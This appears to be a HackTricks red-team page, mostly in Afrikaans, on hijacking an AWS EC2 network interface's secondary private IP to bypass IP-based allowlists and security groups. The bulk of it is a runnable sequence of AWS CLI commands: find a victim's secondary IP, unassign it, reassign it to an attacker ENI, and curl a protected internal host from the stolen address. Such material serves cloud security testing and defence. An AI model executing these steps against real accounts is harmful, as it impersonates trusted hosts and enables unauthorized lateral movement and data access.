AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Misbruik ec2:UnassignPrivateIpAddresses en ec2:AssignPrivateIpAddresses om ’n slagoffer-ENI se sekondêre privaat IP-adres te steel en dit na ’n aanvallers-ENI in dieselfde subnet/AZ te skuif. Baie interne dienste en security groups beperk toegang op grond van spesifieke privaat IP-adresse. Deur daardie sekondêre adres te skuif, doen die aanvaller voor as die vertroude gasheer op L3 en kan hy toegang kry tot dienste op die allowlist.

Voorvereistes:

  • Permissions: ec2:DescribeNetworkInterfaces, ec2:UnassignPrivateIpAddresses on the victim ENI ARN, and ec2:AssignPrivateIpAddresses on the attacker ENI ARN.
  • Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).

Variables:

  • REGION=us-east-1
  • VICTIM_ENI=
  • ATTACKER_ENI=
  • PROTECTED_SG= # SG on a target service that allows only $HIJACK_IP
  • PROTECTED_HOST=

Stappe:

  1. Kies ’n sekondêre IP van die slagoffer-ENI
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
  1. Verseker dat die beskermde gasheer slegs daardie IP toelaat (idempotent). As jy in plaas daarvan SG-to-SG-reëls gebruik, sla oor.
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
  1. Basislyn: vanaf attacker instance, moet ’n versoek na PROTECTED_HOST misluk sonder spoofed source (bv. oor SSM/SSH)
curl -sS --max-time 3 http://$PROTECTED_HOST || true
  1. Ontkoppel die sekondêre IP van die slagoffer ENI
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Ken dieselfde IP toe aan die attacker ENI (op AWS CLI v1 voeg --allow-reassignment by)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Verifieer dat eienaarskap oorgeplaas is
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
  1. Vanaf die attacker instance, source-bind na die hijacked IP om die protected host te bereik (maak seker die IP is op die OS gekonfigureer; indien nie, voeg dit by met ip addr add $HIJACK_IP/<mask> dev eth0)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out

Impak

  • Omseil IP allowlists en naboots vertroude hosts binne die VPC deur secondary private IPs tussen ENIs in dieselfde subnet/AZ te skuif.
  • Bereik interne dienste wat toegang deur spesifieke source IPs beheer, wat lateral movement en data access moontlik maak.

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks